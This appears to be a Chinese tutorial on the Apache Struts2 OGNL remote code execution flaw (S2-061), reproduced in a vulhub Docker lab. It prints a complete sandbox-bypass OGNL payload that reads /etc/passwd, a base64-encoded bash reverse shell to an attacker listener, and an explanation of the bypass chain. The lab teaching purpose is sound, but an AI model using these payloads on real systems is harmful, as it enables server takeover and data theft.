news 2026/4/16 7:45:18

Apache Struts2 OGNL RCE注入

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
Apache Struts2 OGNL RCE注入

Apache Struts2 OGNL RCE注入

Apache Struts2 OGNL RCE漏洞是一种严重的远程代码执行漏洞,攻击者通过构造恶意的OGNL表达式注入到HTTP请求参数中,利用Struts2框架对OGNL表达式处理不当的缺陷,绕过安全沙箱限制,最终实现在目标服务器上执行任意系统命令,从而获取服务器控制权。

1.什么是Apache Struts2?

Apache Struts2(也称为 Struts2)是一个开源的 Java Web 应用框架。

它主要用于构建企业级 Java EE Web 应用程序,提供 MVC(Model-View-Controller)架构支持,帮助开发者快速开发可维护的 Web 应用。

Struts2 基于 OGNL(Object-Graph Navigation Language)表达式语言来处理数据绑定、表单验证和动态内容渲染等功能。它是 Struts1 的后继版本,从 2006 年左右开始流行,但由于历史漏洞较多,现在许多项目已转向更现代的框架如 Spring MVC。

2.原理

(1) OGNL

OGNL三要素

Expression(表达式) 字符串形式的指令,告诉 OGNL “你要做什么”。 例子:user.name、@java.lang.Runtime@getRuntime().exec('calc')、#session.get('user') 等

Root(根对象) 操作的“主体对象”,也就是你主要想访问/修改的对象。 在 Struts2 中,Root 默认就是 ValueStack(值栈),值栈最顶层通常是当前的 Action 实例。 → 访问 Root 对象的属性时,不需要加任何前缀,直接写属性名即可。

Context(上下文) 一个 Map 结构(OgnlContext),相当于“运行环境”。 里面存放了各种辅助对象、临时变量、环境信息等。 在 Struts2 中,Context 就是 ActionContext,包含了:

#parameters(请求参数)

#request

#session

#application

#attr(依次查找 page→request→session→application)

值栈本身(作为 Root)

→ 访问 Context 里的对象,必须加 # 前缀,例如 #session.user、#parameters.name

OGNL中的重要符号

有三个#%$

%

%: 其用途是在标志属性为字符串类型时,计算OGNL表达式的值,类似JS中的函数eval()。

例如:<s:url value =“%{items.{title}[0]}”/>。获取items对象中title属性,title为数组,取数组索引为0位置的值

#

访问 Context(非根对象)里的数据,取 session、request、parameters、application 等时使用

例如:#session.user #parameters.username #request.get('key')

$

1. 在 struts.xml 配置文件里引用 OGNL

2. 在国际化资源文件(.properties)里引用 OGNL

例如:struts.xml 里: 资源文件:welcome=${user.name}

(2) OGNL RCE漏洞原理

OGNL RCE漏洞是 Struts2 中一类常见的严重安全问题,主要源于框架对 OGNL 表达式的处理不当。

OGNL 是一种强大的表达式语言,用于访问 Java 对象的属性和方法.但在 Struts2 中,如果用户输入(如 HTTP 请求头、参数或标签属性)被直接用于 OGNL 求值,而没有充分验证或转义,就会导致注入攻击。

漏洞影响范围

OGNL RCE 漏洞影响了 Struts2 的多个历史版本:

常见受影响版本:从 Struts 2.0.0 到 2.5.x 系列(如 2.5.25 之前),部分 6.x 早期版本有类似问题。但许多旧版本(如 2.3.x)已停止支持(EOL)。

不是所有 Struts2 应用都易受攻击,取决于配置(如是否使用强制 OGNL 求值或暴露了特定插件)。但遗留系统特别危险。

3.漏洞复现

漏洞复现环境

准备好docker

靶机环境(使用 vulhub靶场):

克隆vulhub仓库

git clone --depth 1 https://github.com/vulhub/vulhub.git

到漏洞地址

cd vulhub/struts2/s2-061

拉取镜像

docker-compose up -d

拉取失败的可以使用这个仓库的镜像源配置工具:

git clone https://github.com/hzhsec/docker_proxy.git

chmod +x *.sh

./docker-proxy.sh

再拉取

docker-compose up -d

使用docker ps查看镜像是否运行

访问:http://靶机IP:8080

尝试id注入代码

http://192.168.41.128:8080/.action?id=%{'hzhsec'+(1+2).toString()}

url编码

http://192.168.41.128:8080/.action?id=%25%7B'hzhsec'%2B(1%2B2).toString()%7D

成功将id的值更换执行

尝试poc

%{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]). (#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]). (#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)). (#context=#bean.get("context")).(#bean.setBean(#context)).(#macc=#bean.get("memberAccess")). (#bean.setBean(#macc)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)). (#arglist=#instancemanager.newInstance("java.util.ArrayList")).(#arglist.add("cat /etc/passwd")). (#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#execute.exec(#arglist))}

编码:

%25%7B(%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D).%20(%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D).%20(%23bean%3D%23instancemanager.newInstance(%22org.apache.commons.collections.BeanMap%22)).(%23bean.setBean(%23stack)).%20(%23context%3D%23bean.get(%22context%22)).(%23bean.setBean(%23context)).(%23macc%3D%23bean.get(%22memberAccess%22)).%20(%23bean.setBean(%23macc)).(%23emptyset%3D%23instancemanager.newInstance(%22java.util.HashSet%22)).(%23bean.put(%22excludedClasses%22%2C%23emptyset)).(%23bean.put(%22excludedPackageNames%22%2C%23emptyset)).%20(%23arglist%3D%23instancemanager.newInstance(%22java.util.ArrayList%22)).(%23arglist.add(%22cat%20%2Fetc%2Fpasswd%22)).%20(%23execute%3D%23instancemanager.newInstance(%22freemarker.template.utility.Execute%22)).(%23execute.exec(%23arglist))%7D

成功读取/etc/passwd

尝试修改命令反弹shell

shell命令

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAyLzY2NjYgMD4mMQ==}|{base64,-d}|{bash,-i}

替换上面的cat命令

攻击机:

nc -lvvp 4444 启动监听

发送payload

http://192.168.41.128:8080/.action?id=%25%7B(%23instancemanager%3D%23application%5B%22org.apache.tomcat.InstanceManager%22%5D).%20(%23stack%3D%23attr%5B%22com.opensymphony.xwork2.util.ValueStack.ValueStack%22%5D).%20(%23bean%3D%23instancemanager.newInstance(%22org.apache.commons.collections.BeanMap%22)).(%23bean.setBean(%23stack)).%20(%23context%3D%23bean.get(%22context%22)).(%23bean.setBean(%23context)).(%23macc%3D%23bean.get(%22memberAccess%22)).%20(%23bean.setBean(%23macc)).(%23emptyset%3D%23instancemanager.newInstance(%22java.util.HashSet%22)).(%23bean.put(%22excludedClasses%22%2C%23emptyset)).(%23bean.put(%22excludedPackageNames%22%2C%23emptyset)).%20(%23arglist%3D%23instancemanager.newInstance(%22java.util.ArrayList%22)).(%23arglist.add(%22bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4yMTAuNjYuMTA4LzQ0NDQgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22)).%20(%23execute%3D%23instancemanager.newInstance(%22freemarker.template.utility.Execute%22)).(%23execute.exec(%23arglist))%7D

成功上线:

poc原理

获取 Tomcat 的 InstanceManager#instancemanager = #application["org.apache.tomcat.InstanceManager"] → 从 ServletContext(application)里拿到 Tomcat 的实例管理器,它能“暴力”new 出任何类的实例(即使 OGNL 沙箱不允许)。

拿到当前的 ValueStack(值栈)#stack = #attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"] → 值栈是 Struts2 的核心,里面存着 Action、request、session 等所有上下文信息。

用 BeanMap 魔法绕过访问限制(最核心的沙箱绕过技巧) #bean = #instancemanager.newInstance("org.apache.commons.collections.BeanMap")#bean.setBean(#stack) → 创建一个 BeanMap(一种能把任意对象当 Map 用的黑科技类),然后把值栈塞进去。 之后就能通过 .get("context")、 .get("memberAccess") 这种方式,访问原本不允许直接访问的私有字段。

继续链式操作: → 先拿到 context → 再拿到 _memberAccess(OGNL 的安全管理器对象,控制什么能执行、什么类被禁止)

清空沙箱黑名单(真正解除限制) #emptyset = #instancemanager.newInstance("java.util.HashSet") #bean.put("excludedClasses", #emptyset)#bean.put("excludedPackageNames", #emptyset) → 把 OGNL 的两个黑名单(禁止的类 + 禁止的包)全部清空成空集合。 → 从此 OGNL 什么类都能用了,什么包都能访问了(沙箱彻底失效)。

准备命令并执行#arglist = #ins

tancemanager.newInstance("java.util.ArrayList")#arglist.add("cat /etc/passwd") → 创建一个参数列表,里面放要执行的命令。

版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/16 7:43:49

群雄逐鹿——AI搜索产业竞争与商业模式变革

引言&#xff1a;万亿美元战场的全新博弈 2023-2024年&#xff0c;全球科技巨头在AI搜索领域的总投入超过2000亿美元。这个数字不仅体现了技术转型的规模&#xff0c;更揭示了一个残酷现实&#xff1a;传统搜索市场每年超过3000亿美元的广告收入蛋糕正在重新分割&#xff0c;而…

作者头像 李华
网站建设 2026/4/16 7:44:07

心智革命——AI搜索如何重塑人类认知与知识未来

引言&#xff1a;当外部记忆成为认知器官公元前4000年&#xff0c;苏美尔人发明了文字&#xff0c;人类开始了将记忆外化的历程。公元前300年&#xff0c;亚历山大图书馆试图收集所有人类知识。1440年&#xff0c;古登堡印刷机让知识大规模复制成为可能。1998年&#xff0c;谷歌…

作者头像 李华
网站建设 2026/4/15 9:42:46

第1章:快速入门SpringBoot

文章目录第1章 快速入门SpringBootSpringBoot和SpringCloud微服务关系SSM框架介绍SpringBoot工程创建SpringBoot第一个接口SpringBoot常见注解控制器与请求映射注解第1章 快速入门SpringBoot SpringBoot和SpringCloud微服务关系 SpringBoot 核心定位 SpringBoot4.0 是 Sprin…

作者头像 李华
网站建设 2026/4/13 2:11:02

云帮网,免费PDF扫描神器

职场人必备的 PDF 扫描神器来了&#xff01;不用下载软件&#xff0c;不用担心里程碑文件泄露&#xff0c;打开浏览器就能用的 PDF 扫描大师&#xff08;PDF扫描工具&#xff09;&#xff0c;把专业扫描效果装进你的网页&#xff0c;操作简单还超安全。 处理敏感文件最怕上传泄…

作者头像 李华